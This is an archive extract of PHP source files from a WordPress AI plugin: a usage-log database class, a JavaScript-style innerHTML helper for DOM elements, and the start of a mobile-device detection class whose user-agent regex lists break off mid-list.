? (string) $data["env"] : null; $data["apiRef"] = isset($data["apiRef"]) ? (string) $data["apiRef"] : null; $data["tags"] = $this->buildTagsForDb( isset($data["tags"]) ? $data["tags"] : null ); return $data; } function add($data) { $this->check_db(); $data = $this->validate_data($data); $dbrez = $this->wpdb->insert($this->table_logs, $data); if ($dbrez === false) { aiomatic_log_to_file( "Failed to save statistics data: " . $this->wpdb->last_error ); } } function check_db() { if ($this->db_check) { return true; } $this->db_check = !( strtolower( $this->wpdb->get_var("SHOW TABLES LIKE '$this->table_logs'") ) != strtolower($this->table_logs) ); if (!$this->db_check) { $this->create_db(); $this->db_check = !( strtolower( $this->wpdb->get_var("SHOW TABLES LIKE '$this->table_logs'") ) != strtolower($this->table_logs) ); } if (!$this->wpdb->get_var("SHOW COLUMNS FROM `{$this->table_logs}` LIKE 'assistant_id'")) { $this->wpdb->query("ALTER TABLE `{$this->table_logs}` ADD `assistant_id` VARCHAR(256) NULL"); } $this->db_check = $this->db_check && $this->wpdb->get_var( "SHOW COLUMNS FROM $this->table_logs LIKE 'apiRef'" ); if (!$this->db_check) { $this->wpdb->query( "ALTER TABLE $this->table_logs ADD COLUMN apiRef VARCHAR(128) NULL" ); $this->wpdb->query( "UPDATE $this->table_logs SET apiRef = '$this->apiRef'" ); $this->db_check = true; } return $this->db_check; } function create_db() { $charset_collate = $this->wpdb->get_charset_collate(); $sqlLogs = "CREATE TABLE $this->table_logs ( id BIGINT(20) NOT NULL AUTO_INCREMENT, userId BIGINT(20) NULL, ip VARCHAR(64) NULL, session VARCHAR(64) NULL, model VARCHAR(256) NULL, assistant_id VARCHAR(256) NULL, mode VARCHAR(128) NULL, units INT(11) NOT NULL DEFAULT 0, type VARCHAR(64) NULL, price FLOAT NOT NULL DEFAULT 0, env VARCHAR(64) NULL, tags VARCHAR(128) NULL, apiRef VARCHAR(128) NULL, time DATETIME DEFAULT CURRENT_TIMESTAMP NOT NULL, PRIMARY KEY (id) ) $charset_collate;"; $sqlLogMeta = "CREATE TABLE $this->table_logmeta ( meta_id BIGINT(20) NOT NULL AUTO_INCREMENT, log_id BIGINT(20) NOT NULL, meta_key varchar(255) NULL, meta_value longtext NULL, PRIMARY KEY (meta_id) ) $charset_collate;"; require_once ABSPATH . "wp-admin/includes/upgrade.php"; dbDelta($sqlLogs); dbDelta($sqlLogMeta); } function remove_db() { $sql = "DROP TABLE IF EXISTS $this->table_logs, $this->table_logmeta;"; $this->wpdb->query($sql); } function clear_db() { $sql = "TRUNCATE TABLE $this->table_logs;"; $this->wpdb->query($sql); $sql = "TRUNCATE TABLE $this->table_logmeta;"; $this->wpdb->query($sql); } public function logs_query( $logs = [], $offset = 0, $limit = null, $filters = null, $sort = null ) { $offset = !empty($offset) ? intval($offset) : 0; $limit = !empty($limit) ? intval($limit) : 100; $filters = !empty($filters) ? $filters : []; $sort = !empty($sort) ? $sort : ["accessor" => "time", "by" => "desc"]; $query = "SELECT * FROM $this->table_logs"; $where = []; if (isset($filters["apiRef"])) { $where[] = "apiRef = '" . esc_sql($filters["apiRef"]) . "'"; } if (isset($filters["userId"])) { $where[] = "userId = '" . intval($filters["userId"]) . "'"; } if (isset($filters["ip"])) { $where[] = "ip = '" . esc_sql($filters["ip"]) . "'"; } if (isset($filters["session"])) { $where[] = "session = '" . esc_sql($filters["session"]) . "'"; } if (isset($filters["model"])) { $where[] = "model = '" . esc_sql($filters["model"]) . "'"; } if (isset($filters["assistant_id"])) { $where[] = "assistant_id = '" . esc_sql($filters["assistant_id"]) . "'"; } if (isset($filters["mode"])) { $where[] = "mode = '" . esc_sql($filters["mode"]) . "'"; } if (isset($filters["type"])) { $where[] = "type = '" . esc_sql($filters["type"]) . "'"; } if (isset($filters["env"])) { $where[] = "env = '" . esc_sql($filters["env"]) . "'"; } if (isset($filters["tags"])) { $where[] = "tags LIKE '%" . esc_sql($filters["tags"]) . "%'"; } if (isset($filters["from"])) { $where[] = "time >= '" . esc_sql($filters["from"]) . "'"; } if (isset($filters["to"])) { $where[] = "time <= '" . esc_sql($filters["to"]) . "'"; } if (count($where) > 0) { $query .= " WHERE " . implode(" AND ", $where); } $logs["total"] = $this->wpdb->get_var( "SELECT COUNT(*) FROM ($query) AS t" ); if(isset($sort["accessor"]) && isset($sort["by"])) { $query .= " ORDER BY " . esc_sql($sort["accessor"]) . " " . esc_sql($sort["by"]); } else { $query .= " ORDER BY time desc"; } if ($limit > 0) { $query .= " LIMIT $offset, $limit"; } $logs["rows"] = $this->wpdb->get_results($query, ARRAY_A); return $logs; } } ?> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/class-js-like-html-element.php������������������������������������������������������������������0000644�����������������00000011172�14757771437�0013130 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if (!defined('ABSPATH')) exit; /** * JavaScript-like HTML DOM Element * * This class extends PHP's DOMElement to allow * users to get and set the innerHTML property of * HTML elements in the same way it's done in * JavaScript. * * Example usage: * @code * require_once 'JSLikeHTMLElement.php'; * header('Content-Type: text/plain'); * $doc = new DOMDocument(); * $doc->registerNodeClass('DOMElement', 'JSLikeHTMLElement'); * $doc->loadHTML('<div><p>Para 1</p><p>Para 2</p></div>'); * $elem = $doc->getElementsByTagName('div')->item(0); * * // print innerHTML * echo $elem->innerHTML; // prints '<p>Para 1</p><p>Para 2</p>' * echo "\n\n"; * * // set innerHTML * $elem->innerHTML = '<a href="http://fivefilters.org">FiveFilters.org</a>'; * echo $elem->innerHTML; // prints '<a href="http://fivefilters.org">FiveFilters.org</a>' * echo "\n\n"; * * // print document (with our changes) * echo $doc->saveXML(); * @endcode * * @author Keyvan Minoukadeh - http://www.keyvan.net - keyvan@keyvan.net * @see http://fivefilters.org (the project this was written for) */ if(!class_exists('JSLikeHTMLElement')) { class JSLikeHTMLElement extends DOMElement { /** * Used for setting innerHTML like it's done in JavaScript: * @code * $div->innerHTML = '<h2>Chapter 2</h2><p>The story begins...</p>'; * @endcode */ public function __set($name, $value) { if ($name == 'innerHTML') { // first, empty the element for ($x=$this->childNodes->length-1; $x>=0; $x--) { $this->removeChild($this->childNodes->item($x)); } // $value holds our new inner HTML if ($value != '') { $f = $this->ownerDocument->createDocumentFragment(); // appendXML() expects well-formed markup (XHTML) $result = $f->appendXML($value); // @ to suppress PHP warnings if ($result) { if ($f->hasChildNodes()) $this->appendChild($f); } else { // $value is probably ill-formed $f = new DOMDocument(); $value = htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); // Using <htmlfragment> will generate a warning, but so will bad HTML // (and by this point, bad HTML is what we've got). // We use it (and suppress the warning) because an HTML fragment will // be wrapped around <html><body> tags which we don't really want to keep. // Note: despite the warning, if loadHTML succeeds it will return true. $internalErrors = libxml_use_internal_errors(true); $result = $f->loadHTML('<htmlfragment>'.$value.'</htmlfragment>'); libxml_use_internal_errors($internalErrors); if ($result) { $import = $f->getElementsByTagName('htmlfragment')->item(0); foreach ($import->childNodes as $child) { $importedNode = $this->ownerDocument->importNode($child, true); $this->appendChild($importedNode); } } else { // oh well, we tried, we really did. :( // this element is now empty } } } } else { $trace = debug_backtrace(); trigger_error('Undefined property via __set(): '.$name.' in '.$trace[0]['file'].' on line '.$trace[0]['line'], E_USER_NOTICE); } } /** * Used for getting innerHTML like it's done in JavaScript: * @code * $string = $div->innerHTML; * @endcode */ public function __get($name) { if ($name == 'innerHTML') { $inner = ''; foreach ($this->childNodes as $child) { $inner .= $this->ownerDocument->saveHTML($child); } return $inner; } $trace = debug_backtrace(); trigger_error('Undefined property via __get(): '.$name.' in '.$trace[0]['file'].' on line '.$trace[0]['line'], E_USER_NOTICE); return null; } public function __toString() { return '['.$this->tagName.']'; } } }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/mobile-detect.php�������������������������������������������������������������������������������0000644�����������������00000146743�14757771437�0010630 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php class AiomaticMobileDetect { const DETECTION_TYPE_MOBILE = 'mobile'; const DETECTION_TYPE_EXTENDED = 'extended'; const VER = '([\w._\+]+)'; const MOBILE_GRADE_A = 'A'; const MOBILE_GRADE_B = 'B'; const MOBILE_GRADE_C = 'C'; const VERSION = '2.8.34'; const VERSION_TYPE_STRING = 'text'; const VERSION_TYPE_FLOAT = 'float'; protected $cache = array(); protected $userAgent = null; protected $httpHeaders = array(); protected $cloudfrontHeaders = array(); protected $matchingRegex = null; protected $matchesArray = null; protected $detectionType = self::DETECTION_TYPE_MOBILE; protected static $mobileHeaders = array( 'HTTP_ACCEPT' => array('matches' => array( 'application/x-obml2d', 'application/vnd.rim.html', 'text/vnd.wap.wml', 'application/vnd.wap.xhtml+xml' )), 'HTTP_X_WAP_PROFILE' => null, 'HTTP_X_WAP_CLIENTID' => null, 'HTTP_WAP_CONNECTION' => null, 'HTTP_PROFILE' => null, 'HTTP_X_OPERAMINI_PHONE_UA' => null, 'HTTP_X_NOKIA_GATEWAY_ID' => null, 'HTTP_X_ORANGE_ID' => null, 'HTTP_X_VODAFONE_3GPDPCONTEXT' => null, 'HTTP_X_HUAWEI_USERID' => null, 'HTTP_UA_OS' => null, 'HTTP_X_MOBILE_GATEWAY' => null, 'HTTP_X_ATT_DEVICEID' => null, 'HTTP_UA_CPU' => array('matches' => array('ARM')), ); protected static $phoneDevices = array( 'iPhone' => '\biPhone\b|\biPod\b', 'BlackBerry' => 'BlackBerry|\bBB10\b|rim[0-9]+|\b(BBA100|BBB100|BBD100|BBE100|BBF100|STH100)\b-[0-9]+', 'HTC' => 'HTC|HTC.*(Sensation|Evo|Vision|Explorer|6800|8100|8900|A7272|S510e|C110e|Legend|Desire|T8282)|APX515CKT|Qtek9090|APA9292KT|HD_mini|Sensation.*Z710e|PG86100|Z715e|Desire.*(A8181|HD)|ADR6200|ADR6400L|ADR6425|001HT|Inspire 4G|Android.*\bEVO\b|T-Mobile G1|Z520m|Android [0-9.]+; Pixel', 'Nexus' => 'Nexus One|Nexus S|Galaxy.*Nexus|Android.*Nexus.*Mobile|Nexus 4|Nexus 5|Nexus 6', 'Dell' => 'Dell[;]? (Streak|Aero|Venue|Venue Pro|Flash|Smoke|Mini 3iX)|XCD28|XCD35|\b001DL\b|\b101DL\b|\bGS01\b', 'Motorola' => 'Motorola|DROIDX|DROID BIONIC|\bDroid\b.*Build|Android.*Xoom|HRI39|MOT-|A1260|A1680|A555|A853|A855|A953|A955|A956|Motorola.*ELECTRIFY|Motorola.*i1|i867|i940|MB200|MB300|MB501|MB502|MB508|MB511|MB520|MB525|MB526|MB611|MB612|MB632|MB810|MB855|MB860|MB861|MB865|MB870|ME501|ME502|ME511|ME525|ME600|ME632|ME722|ME811|ME860|ME863|ME865|MT620|MT710|MT716|MT720|MT810|MT870|MT917|Motorola.*TITANIUM|WX435|WX445|XT300|XT301|XT311|XT316|XT317|XT319|XT320|XT390|XT502|XT530|XT531|XT532|XT535|XT603|XT610|XT611|XT615|XT681|XT701|XT702|XT711|XT720|XT800|XT806|XT860|XT862|XT875|XT882|XT883|XT894|XT901|XT907|XT909|XT910|XT912|XT928|XT926|XT915|XT919|XT925|XT1021|\bMoto E\b|XT1068|XT1092|XT1052', 'Samsung' => '\bSamsung\b|SM-G950F|SM-G955F|SM-G9250|GT-19300|SGH-I337|BGT-S5230|GT-B2100|GT-B2700|GT-B2710|GT-B3210|GT-B3310|GT-B3410|GT-B3730|GT-B3740|GT-B5510|GT-B5512|GT-B5722|GT-B6520|GT-B7300|GT-B7320|GT-B7330|GT-B7350|GT-B7510|GT-B7722|GT-B7800|GT-C3010|GT-C3011|GT-C3060|GT-C3200|GT-C3212|GT-C3212I|GT-C3262|GT-C3222|GT-C3300|GT-C3300K|GT-C3303|GT-C3303K|GT-C3310|GT-C3322|GT-C3330|GT-C3350|GT-C3500|GT-C3510|GT-C3530|GT-C3630|GT-C3780|GT-C5010|GT-C5212|GT-C6620|GT-C6625|GT-C6712|GT-E1050|GT-E1070|GT-E1075|GT-E1080|GT-E1081|GT-E1085|GT-E1087|GT-E1100|GT-E1107|GT-E1110|GT-E1120|GT-E1125|GT-E1130|GT-E1160|GT-E1170|GT-E1175|GT-E1180|GT-E1182|GT-E1200|GT-E1210|GT-E1225|GT-E1230|GT-E1390|GT-E2100|GT-E2120|GT-E2121|GT-E2152|GT-E2220|GT-E2222|GT-E2230|GT-E2232|GT-E2250|GT-E2370|GT-E2550|GT-E2652|GT-E3210|GT-E3213|GT-I5500|GT-I5503|GT-I5700|GT-I5800|GT-I5801|GT-I6410|GT-I6420|GT-I7110|GT-I7410|GT-I7500|GT-I8000|GT-I8150|GT-I8160|GT-I8190|GT-I8320|GT-I8330|GT-I8350|GT-I8530|GT-I8700|GT-I8703|GT-I8910|GT-I9000|GT-I9001|GT-I9003|GT-I9010|GT-I9020|GT-I9023|GT-I9070|GT-I9082|GT-I9100|GT-I9103|GT-I9220|GT-I9250|GT-I9300|GT-I9305|GT-I9500|GT-I9505|GT-M3510|GT-M5650|GT-M7500|GT-M7600|GT-M7603|GT-M8800|GT-M8910|GT-N7000|GT-S3110|GT-S3310|GT-S3350|GT-S3353|GT-S3370|GT-S3650|GT-S3653|GT-S3770|GT-S3850|GT-S5210|GT-S5220|GT-S5229|GT-S5230|GT-S5233|GT-S5250|GT-S5253|GT-S5260|GT-S5263|GT-S5270|GT-S5300|GT-S5330|GT-S5350|GT-S5360|GT-S5363|GT-S5369|GT-S5380|GT-S5380D|GT-S5560|GT-S5570|GT-S5600|GT-S5603|GT-S5610|GT-S5620|GT-S5660|GT-S5670|GT-S5690|GT-S5750|GT-S5780|GT-S5830|GT-S5839|GT-S6102|GT-S6500|GT-S7070|GT-S7200|GT-S7220|GT-S7230|GT-S7233|GT-S7250|GT-S7500|GT-S7530|GT-S7550|GT-S7562|GT-S7710|GT-S8000|GT-S8003|GT-S8500|GT-S8530|GT-S8600|SCH-A310|SCH-A530|SCH-A570|SCH-A610|SCH-A630|SCH-A650|SCH-A790|SCH-A795|SCH-A850|SCH-A870|SCH-A890|SCH-A930|SCH-A950|SCH-A970|SCH-A990|SCH-I100|SCH-I110|SCH-I400|SCH-I405|SCH-I500|SCH-I510|SCH-I515|SCH-I600|SCH-I730|SCH-I760|SCH-I770|SCH-I830|SCH-I910|SCH-I920|SCH-I959|SCH-LC11|SCH-N150|SCH-N300|SCH-R100|SCH-R300|SCH-R351|SCH-R400|SCH-R410|SCH-T300|SCH-U310|SCH-U320|SCH-U350|SCH-U360|SCH-U365|SCH-U370|SCH-U380|SCH-U410|SCH-U430|SCH-U450|SCH-U460|SCH-U470|SCH-U490|SCH-U540|SCH-U550|SCH-U620|SCH-U640|SCH-U650|SCH-U660|SCH-U700|SCH-U740|SCH-U750|SCH-U810|SCH-U820|SCH-U900|SCH-U940|SCH-U960|SCS-26UC|SGH-A107|SGH-A117|SGH-A127|SGH-A137|SGH-A157|SGH-A167|SGH-A177|SGH-A187|SGH-A197|SGH-A227|SGH-A237|SGH-A257|SGH-A437|SGH-A517|SGH-A597|SGH-A637|SGH-A657|SGH-A667|SGH-A687|SGH-A697|SGH-A707|SGH-A717|SGH-A727|SGH-A737|SGH-A747|SGH-A767|SGH-A777|SGH-A797|SGH-A817|SGH-A827|SGH-A837|SGH-A847|SGH-A867|SGH-A877|SGH-A887|SGH-A897|SGH-A927|SGH-B100|SGH-B130|SGH-B200|SGH-B220|SGH-C100|SGH-C110|SGH-C120|SGH-C130|SGH-C140|SGH-C160|SGH-C170|SGH-C180|SGH-C200|SGH-C207|SGH-C210|SGH-C225|SGH-C230|SGH-C417|SGH-C450|SGH-D307|SGH-D347|SGH-D357|SGH-D407|SGH-D415|SGH-D780|SGH-D807|SGH-D980|SGH-E105|SGH-E200|SGH-E315|SGH-E316|SGH-E317|SGH-E335|SGH-E590|SGH-E635|SGH-E715|SGH-E890|SGH-F300|SGH-F480|SGH-I200|SGH-I300|SGH-I320|SGH-I550|SGH-I577|SGH-I600|SGH-I607|SGH-I617|SGH-I627|SGH-I637|SGH-I677|SGH-I700|SGH-I717|SGH-I727|SGH-i747M|SGH-I777|SGH-I780|SGH-I827|SGH-I847|SGH-I857|SGH-I896|SGH-I897|SGH-I900|SGH-I907|SGH-I917|SGH-I927|SGH-I937|SGH-I997|SGH-J150|SGH-J200|SGH-L170|SGH-L700|SGH-M110|SGH-M150|SGH-M200|SGH-N105|SGH-N500|SGH-N600|SGH-N620|SGH-N625|SGH-N700|SGH-N710|SGH-P107|SGH-P207|SGH-P300|SGH-P310|SGH-P520|SGH-P735|SGH-P777|SGH-Q105|SGH-R210|SGH-R220|SGH-R225|SGH-S105|SGH-S307|SGH-T109|SGH-T119|SGH-T139|SGH-T209|SGH-T219|SGH-T229|SGH-T239|SGH-T249|SGH-T259|SGH-T309|SGH-T319|SGH-T329|SGH-T339|SGH-T349|SGH-T359|SGH-T369|SGH-T379|SGH-T409|SGH-T429|SGH-T439|SGH-T459|SGH-T469|SGH-T479|SGH-T499|SGH-T509|SGH-T519|SGH-T539|SGH-T559|SGH-T589|SGH-T609|SGH-T619|SGH-T629|SGH-T639|SGH-T659|SGH-T669|SGH-T679|SGH-T709|SGH-T719|SGH-T729|SGH-T739|SGH-T746|SGH-T749|SGH-T759|SGH-T769|SGH-T809|SGH-T819|SGH-T839|SGH-T919|SGH-T929|SGH-T939|SGH-T959|SGH-T989|SGH-U100|SGH-U200|SGH-U800|SGH-V205|SGH-V206|SGH-X100|SGH-X105|SGH-X120|SGH-X140|SGH-X426|SGH-X427|SGH-X475|SGH-X495|SGH-X497|SGH-X507|SGH-X600|SGH-X610|SGH-X620|SGH-X630|SGH-X700|SGH-X820|SGH-X890|SGH-Z130|SGH-Z150|SGH-Z170|SGH-ZX10|SGH-ZX20|SHW-M110|SPH-A120|SPH-A400|SPH-A420|SPH-A460|SPH-A500|SPH-A560|SPH-A600|SPH-A620|SPH-A660|SPH-A700|SPH-A740|SPH-A760|SPH-A790|SPH-A800|SPH-A820|SPH-A840|SPH-A880|SPH-A900|SPH-A940|SPH-A960|SPH-D600|SPH-D700|SPH-D710|SPH-D720|SPH-I300|SPH-I325|SPH-I330|SPH-I350|SPH-I500|SPH-I600|SPH-I700|SPH-L700|SPH-M100|SPH-M220|SPH-M240|SPH-M300|SPH-M305|SPH-M320|SPH-M330|SPH-M350|SPH-M360|SPH-M370|SPH-M380|SPH-M510|SPH-M540|SPH-M550|SPH-M560|SPH-M570|SPH-M580|SPH-M610|SPH-M620|SPH-M630|SPH-M800|SPH-M810|SPH-M850|SPH-M900|SPH-M910|SPH-M920|SPH-M930|SPH-N100|SPH-N200|SPH-N240|SPH-N300|SPH-N400|SPH-Z400|SWC-E100|SCH-i909|GT-N7100|GT-N7105|SCH-I535|SM-N900A|SGH-I317|SGH-T999L|GT-S5360B|GT-I8262|GT-S6802|GT-S6312|GT-S6310|GT-S5312|GT-S5310|GT-I9105|GT-I8510|GT-S6790N|SM-G7105|SM-N9005|GT-S5301|GT-I9295|GT-I9195|SM-C101|GT-S7392|GT-S7560|GT-B7610|GT-I5510|GT-S7582|GT-S7530E|GT-I8750|SM-G9006V|SM-G9008V|SM-G9009D|SM-G900A|SM-G900D|SM-G900F|SM-G900H|SM-G900I|SM-G900J|SM-G900K|SM-G900L|SM-G900M|SM-G900P|SM-G900R4|SM-G900S|SM-G900T|SM-G900V|SM-G900W8|SHV-E160K|SCH-P709|SCH-P729|SM-T2558|GT-I9205|SM-G9350|SM-J120F|SM-G920F|SM-G920V|SM-G930F|SM-N910C|SM-A310F|GT-I9190|SM-J500FN|SM-G903F|SM-J330F', 'LG' => '\bLG\b;|LG[- ]?(C800|C900|E400|E610|E900|E-900|F160|F180K|F180L|F180S|730|855|L160|LS740|LS840|LS970|LU6200|MS690|MS695|MS770|MS840|MS870|MS910|P500|P700|P705|VM696|AS680|AS695|AX840|C729|E970|GS505|272|C395|E739BK|E960|L55C|L75C|LS696|LS860|P769BK|P350|P500|P509|P870|UN272|US730|VS840|VS950|LN272|LN510|LS670|LS855|LW690|MN270|MN510|P509|P769|P930|UN200|UN270|UN510|UN610|US670|US740|US760|UX265|UX840|VN271|VN530|VS660|VS700|VS740|VS750|VS910|VS920|VS930|VX9200|VX11000|AX840A|LW770|P506|P925|P999|E612|D955|D802|MS323|M257)|LM-G710', 'Sony' => 'SonyST|SonyLT|SonyEricsson|SonyEricssonLT15iv|LT18i|E10i|LT28h|LT26w|SonyEricssonMT27i|C5303|C6902|C6903|C6906|C6943|D2533', 'Asus' => 'Asus.*Galaxy|PadFone.*Mobile', 'NokiaLumia' => 'Lumia [0-9]{3,4}', 'Micromax' => 'Micromax.*\b(A210|A92|A88|A72|A111|A110Q|A115|A116|A110|A90S|A26|A51|A35|A54|A25|A27|A89|A68|A65|A57|A90)\b', 'Palm' => 'PalmSource|Palm', 'Vertu' => 'Vertu|Vertu.*Ltd|Vertu.*Ascent|Vertu.*Ayxta|Vertu.*Constellation(F|Quest)?|Vertu.*Monika|Vertu.*Signature', 'Pantech' => 'PANTECH|IM-A850S|IM-A840S|IM-A830L|IM-A830K|IM-A830S|IM-A820L|IM-A810K|IM-A810S|IM-A800S|IM-T100K|IM-A725L|IM-A780L|IM-A775C|IM-A770K|IM-A760S|IM-A750K|IM-A740S|IM-A730S|IM-A720L|IM-A710K|IM-A690L|IM-A690S|IM-A650S|IM-A630K|IM-A600S|VEGA PTL21|PT003|P8010|ADR910L|P6030|P6020|P9070|P4100|P9060|P5000|CDM8992|TXT8045|ADR8995|IS11PT|P2030|P6010|P8000|PT002|IS06|CDM8999|P9050|PT001|TXT8040|P2020|P9020|P2000|P7040|P7000|C790', 'Fly' => 'IQ230|IQ444|IQ450|IQ440|IQ442|IQ441|IQ245|IQ256|IQ236|IQ255|IQ235|IQ245|IQ275|IQ240|IQ285|IQ280|IQ270|IQ260|IQ250', 'Wiko' => 'KITE 4G|HIGHWAY|GETAWAY|STAIRWAY|DARKSIDE|DARKFULL|DARKNIGHT|DARKMOON|SLIDE|WAX 4G|RAINBOW|BLOOM|SUNSET|GOA(?!nna)|LENNY|BARRY|IGGY|OZZY|CINK FIVE|CINK PEAX|CINK PEAX 2|CINK SLIM|CINK SLIM 2|CINK +|CINK KING|CINK PEAX|CINK SLIM|SUBLIM', 'iMobile' => 'i-mobile (IQ|i-STYLE|idea|ZAA|Hitz)', 'SimValley' => '\b(SP-80|XT-930|SX-340|XT-930|SX-310|SP-360|SP60|SPT-800|SP-120|SPT-800|SP-140|SPX-5|SPX-8|SP-100|SPX-8|SPX-12)\b', 'Wolfgang' => 'AT-B24D|AT-AS50HD|AT-AS40W|AT-AS55HD|AT-AS45q2|AT-B26D|AT-AS50Q', 'Alcatel' => 'Alcatel', 'Nintendo' => 'Nintendo (3DS|Switch)', 'Amoi' => 'Amoi', 'INQ' => 'INQ', 'OnePlus' => 'ONEPLUS', 'GenericPhone' => 'Tapatalk|PDA;|SAGEM|\bmmp\b|pocket|\bpsp\b|symbian|Smartphone|smartfon|treo|up.browser|up.link|vodafone|\bwap\b|nokia|Series40|Series60|S60|SonyEricsson|N900|MAUI.*WAP.*Browser', ); protected static $tabletDevices = array( 'iPad' => 'iPad|iPad.*Mobile', 'NexusTablet' => 'Android.*Nexus[\s]+(7|9|10)', 'GoogleTablet' => 'Android.*Pixel C', 'SamsungTablet' => 'SAMSUNG.*Tablet|Galaxy.*Tab|SC-01C|GT-P1000|GT-P1003|GT-P1010|GT-P3105|GT-P6210|GT-P6800|GT-P6810|GT-P7100|GT-P7300|GT-P7310|GT-P7500|GT-P7510|SCH-I800|SCH-I815|SCH-I905|SGH-I957|SGH-I987|SGH-T849|SGH-T859|SGH-T869|SPH-P100|GT-P3100|GT-P3108|GT-P3110|GT-P5100|GT-P5110|GT-P6200|GT-P7320|GT-P7511|GT-N8000|GT-P8510|SGH-I497|SPH-P500|SGH-T779|SCH-I705|SCH-I915|GT-N8013|GT-P3113|GT-P5113|GT-P8110|GT-N8010|GT-N8005|GT-N8020|GT-P1013|GT-P6201|GT-P7501|GT-N5100|GT-N5105|GT-N5110|SHV-E140K|SHV-E140L|SHV-E140S|SHV-E150S|SHV-E230K|SHV-E230L|SHV-E230S|SHW-M180K|SHW-M180L|SHW-M180S|SHW-M180W|SHW-M300W|SHW-M305W|SHW-M380K|SHW-M380S|SHW-M380W|SHW-M430W|SHW-M480K|SHW-M480S|SHW-M480W|SHW-M485W|SHW-M486W|SHW-M500W|GT-I9228|SCH-P739|SCH-I925|GT-I9200|GT-P5200|GT-P5210|GT-P5210X|SM-T311|SM-T310|SM-T310X|SM-T210|SM-T210R|SM-T211|SM-P600|SM-P601|SM-P605|SM-P900|SM-P901|SM-T217|SM-T217A|SM-T217S|SM-P6000|SM-T3100|SGH-I467|XE500|SM-T110|GT-P5220|GT-I9200X|GT-N5110X|GT-N5120|SM-P905|SM-T111|SM-T2105|SM-T315|SM-T320|SM-T320X|SM-T321|SM-T520|SM-T525|SM-T530NU|SM-T230NU|SM-T330NU|SM-T900|XE500T1C|SM-P605V|SM-P905V|SM-T337V|SM-T537V|SM-T707V|SM-T807V|SM-P600X|SM-P900X|SM-T210X|SM-T230|SM-T230X|SM-T325|GT-P7503|SM-T531|SM-T330|SM-T530|SM-T705|SM-T705C|SM-T535|SM-T331|SM-T800|SM-T700|SM-T537|SM-T807|SM-P907A|SM-T337A|SM-T537A|SM-T707A|SM-T807A|SM-T237|SM-T807P|SM-P607T|SM-T217T|SM-T337T|SM-T807T|SM-T116NQ|SM-T116BU|SM-P550|SM-T350|SM-T550|SM-T9000|SM-P9000|SM-T705Y|SM-T805|GT-P3113|SM-T710|SM-T810|SM-T815|SM-T360|SM-T533|SM-T113|SM-T335|SM-T715|SM-T560|SM-T670|SM-T677|SM-T377|SM-T567|SM-T357T|SM-T555|SM-T561|SM-T713|SM-T719|SM-T813|SM-T819|SM-T580|SM-T355Y?|SM-T280|SM-T817A|SM-T820|SM-W700|SM-P580|SM-T587|SM-P350|SM-P555M|SM-P355M|SM-T113NU|SM-T815Y|SM-T585|SM-T285|SM-T825|SM-W708|SM-T835|SM-T830|SM-T837V|SM-T720|SM-T510|SM-T387V', // SCH-P709|SCH-P729|SM-T2558|GT-I9205 - Samsung Mega - treat them like a regular phone. 'Kindle' => 'Kindle|Silk.*Accelerated|Android.*\b(KFOT|KFTT|KFJWI|KFJWA|KFOTE|KFSOWI|KFTHWI|KFTHWA|KFAPWI|KFAPWA|WFJWAE|KFSAWA|KFSAWI|KFASWI|KFARWI|KFFOWI|KFGIWI|KFMEWI)\b|Android.*Silk/[0-9.]+ like Chrome/[0-9.]+ (?!Mobile)', 'SurfaceTablet' => 'Windows NT [0-9.]+; ARM;.*(Tablet|ARMBJS)', 'HPTablet' => 'HP Slate (7|8|10)|HP ElitePad 900|hp-tablet|EliteBook.*Touch|HP 8|Slate 21|HP SlateBook 10', 'AsusTablet' => '^.*PadFone((?!Mobile).)*$|Transformer|TF101|TF101G|TF300T|TF300TG|TF300TL|TF700T|TF700KL|TF701T|TF810C|ME171|ME301T|ME302C|ME371MG|ME370T|ME372MG|ME172V|ME173X|ME400C|Slider SL101|\bK00F\b|\bK00C\b|\bK00E\b|\bK00L\b|TX201LA|ME176C|ME102A|\bM80TA\b|ME372CL|ME560CG|ME372CG|ME302KL| K010 | K011 | K017 | K01E |ME572C|ME103K|ME170C|ME171C|\bME70C\b|ME581C|ME581CL|ME8510C|ME181C|P01Y|PO1MA|P01Z|\bP027\b|\bP024\b|\bP00C\b', 'BlackBerryTablet' => 'PlayBook|RIM Tablet', 'HTCtablet' => 'HTC_Flyer_P512|HTC Flyer|HTC Jetstream|HTC-P715a|HTC EVO View 4G|PG41200|PG09410', 'MotorolaTablet' => 'xoom|sholest|MZ615|MZ605|MZ505|MZ601|MZ602|MZ603|MZ604|MZ606|MZ607|MZ608|MZ609|MZ615|MZ616|MZ617', 'NookTablet' => 'Android.*Nook|NookColor|nook browser|BNRV200|BNRV200A|BNTV250|BNTV250A|BNTV400|BNTV600|LogicPD Zoom2', 'AcerTablet' => 'Android.*; \b(A100|A101|A110|A200|A210|A211|A500|A501|A510|A511|A700|A701|W500|W500P|W501|W501P|W510|W511|W700|G100|G100W|B1-A71|B1-710|B1-711|A1-810|A1-811|A1-830)\b|W3-810|\bA3-A10\b|\bA3-A11\b|\bA3-A20\b|\bA3-A30', 'ToshibaTablet' => 'Android.*(AT100|AT105|AT200|AT205|AT270|AT275|AT300|AT305|AT1S5|AT500|AT570|AT700|AT830)|TOSHIBA.*FOLIO', 'LGTablet' => '\bL-06C|LG-V909|LG-V900|LG-V700|LG-V510|LG-V500|LG-V410|LG-V400|LG-VK810\b', 'FujitsuTablet' => 'Android.*\b(F-01D|F-02F|F-05E|F-10D|M532|Q572)\b', 'PrestigioTablet' => 'PMP3170B|PMP3270B|PMP3470B|PMP7170B|PMP3370B|PMP3570C|PMP5870C|PMP3670B|PMP5570C|PMP5770D|PMP3970B|PMP3870C|PMP5580C|PMP5880D|PMP5780D|PMP5588C|PMP7280C|PMP7280C3G|PMP7280|PMP7880D|PMP5597D|PMP5597|PMP7100D|PER3464|PER3274|PER3574|PER3884|PER5274|PER5474|PMP5097CPRO|PMP5097|PMP7380D|PMP5297C|PMP5297C_QUAD|PMP812E|PMP812E3G|PMP812F|PMP810E|PMP880TD|PMT3017|PMT3037|PMT3047|PMT3057|PMT7008|PMT5887|PMT5001|PMT5002', 'LenovoTablet' => 'Lenovo 